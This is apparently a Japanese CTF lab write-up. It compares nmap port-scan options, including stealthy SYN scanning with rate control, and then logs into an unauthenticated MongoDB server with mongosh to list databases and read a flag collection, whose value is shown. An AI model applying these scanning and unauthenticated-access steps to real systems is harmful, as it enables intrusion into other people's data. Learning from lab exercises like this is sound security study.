ポートスキャンの速度の違いとその考察
# 参考文献より Pingに応答しないホストへの全ポートに対する高速スキャン
nmap -Pn -A -p- -t4 <targetIP>
# 公式Write Upにあったポートスキャン
nmap -p- --min-rate=1000 -sV <targetIP>
公式Writeupのほうが爆速だった。
これは何故だろう。
そもそも--min-rate
はパケットの送信速度制御オプションの一つである。
スキャン中に維持すべき最小パケット送信レート(pps:packets per second)を指定する。
このオプションを使うと、Nmapがデフォルトで行う遅延や再送(輻輳制御)をパスして、指定したレート以上でプローブを連続送信しようとする。
例:--min-rate=1000
とすると最低でも毎秒1000パケットを送信することになる。
プローブとは:対象にパケットを送り、返送されたデータから応対を推測するテスト行為。
SYNスキャン+レート制御
他にもこんなのもある。
nmap -sS --min-rate=500 192.168.1.1
SYNスキャン-sS
と組み合わせて最低500ppsに設定する事でステルス性を保ちつつ高速にポートを列挙出来る。
あんまり、スキャン速度が高いとIDSにDOS攻撃だと思われる
本題に戻り...
今回の侵入のやり方としては、mongoDBを使ったDBserverに不正にログインするのがシナリオ。
まずは、nmapで2つポートが開かれていた。(sshとmongodb)
こいつに侵入するため攻撃者側はmongoのcliを使いたい。(mongosh)
これはまだ簡単なやつ、結局DB側のパスワードの設定不備とかだろう...。
mongoshの仕様についてしらべてみる。
こいつを取り敢えず調査することに...。
このページにログインコマンドが記載されている。
./mongosh mongodb://10.129.137.183:27017
mongodbがスキームといえる。
このサイトを参考に...。
# データベース一覧の参照
show dbs;
結果・・・
admin 32.00 KiB
config 72.00 KiB
local 72.00 KiB
sensitive_information 32.00 KiB
users 32.00 KiB
adminにありそうと予想を立てる...。
┌──(kali㉿kali)-[~/デスクトップ/mongosh-2.3.2-linux-x64/bin]
└─$ ./mongosh mongodb://10.129.137.183:27017
Current Mongosh Log ID: 6832ddf44f3c21fac7fe6910
Connecting to: mongodb://10.129.137.183:27017/?directConnection=true&appName=mongosh+2.3.2
Using MongoDB: 3.6.8
Using Mongosh: 2.3.2
mongosh 2.5.1 is available for download: <https://www.mongodb.com/try/download/shell>
For mongosh info see: <https://www.mongodb.com/docs/mongodb-shell/>
------
The server generated these startup warnings when booting
2025-05-25T08:47:57.323+0000:
2025-05-25T08:47:57.323+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2025-05-25T08:47:57.323+0000: ** See <http://dochub.mongodb.org/core/prodnotes-filesystem>
2025-05-25T08:47:58.896+0000:
2025-05-25T08:47:58.896+0000: ** WARNING: Access control is not enabled for the database.
2025-05-25T08:47:58.896+0000: ** Read and write access to data and configuration is unrestricted.
2025-05-25T08:47:58.896+0000:
------
test> use admin;
switched to db admin
admin> ls
ReferenceError: ls is not defined (Are you trying to run a script written for the legacy shell? Try running `snippet install mongocompat`)
admin> show dbs;
admin 32.00 KiB
config 72.00 KiB
local 72.00 KiB
sensitive_information 32.00 KiB
users 32.00 KiB
admin> show collections;
system.version
system.version・・・???多分違うな...
もう一つのsensitive_informationのデータベースを確認してみる事に...。
既存のデータベースからの脱出
exit
でいけるよ。
admin> exit
┌──(kali㉿kali)-[~/デスクトップ/mongosh-2.3.2-linux-x64/bin]
└─$ ./mongosh mongodb://10.129.137.183:27017
Current Mongosh Log ID: 6832deba3f75871b27fe6910
Connecting to: mongodb://10.129.137.183:27017/?directConnection=true&appName=mongosh+2.3.2
Using MongoDB: 3.6.8
Using Mongosh: 2.3.2
mongosh 2.5.1 is available for download: <https://www.mongodb.com/try/download/shell>
For mongosh info see: <https://www.mongodb.com/docs/mongodb-shell/>
------
The server generated these startup warnings when booting
2025-05-25T08:47:57.323+0000:
2025-05-25T08:47:57.323+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2025-05-25T08:47:57.323+0000: ** See <http://dochub.mongodb.org/core/prodnotes-filesystem>
2025-05-25T08:47:58.896+0000:
2025-05-25T08:47:58.896+0000: ** WARNING: Access control is not enabled for the database.
2025-05-25T08:47:58.896+0000: ** Read and write access to data and configuration is unrestricted.
2025-05-25T08:47:58.896+0000:
------
test>
test> use sensitive_information
switched to db sensitive_information
sensitive_information> show collections;
flag
ビンゴである。
しかし、このテーブルの中身をどうやって見るのかがわかないのでまた調査することに...。
このサイトより
db.collection2.find()
とあった。
公式ドキュメントにより、jsonで出力w表示するpretty()
というメソッドがあることを知る。
sensitive_information> db.flag.find().pretty();
[
{
_id: ObjectId('630e3dbcb82540ebbd1748c5'),
flag: '1b6e6fb359e7c40241b6d431427ba6ea'
}
]
ご丁寧にオブジェクトのidまで提示してくれた!
参考文献(2025年5月24日)
・公式writeup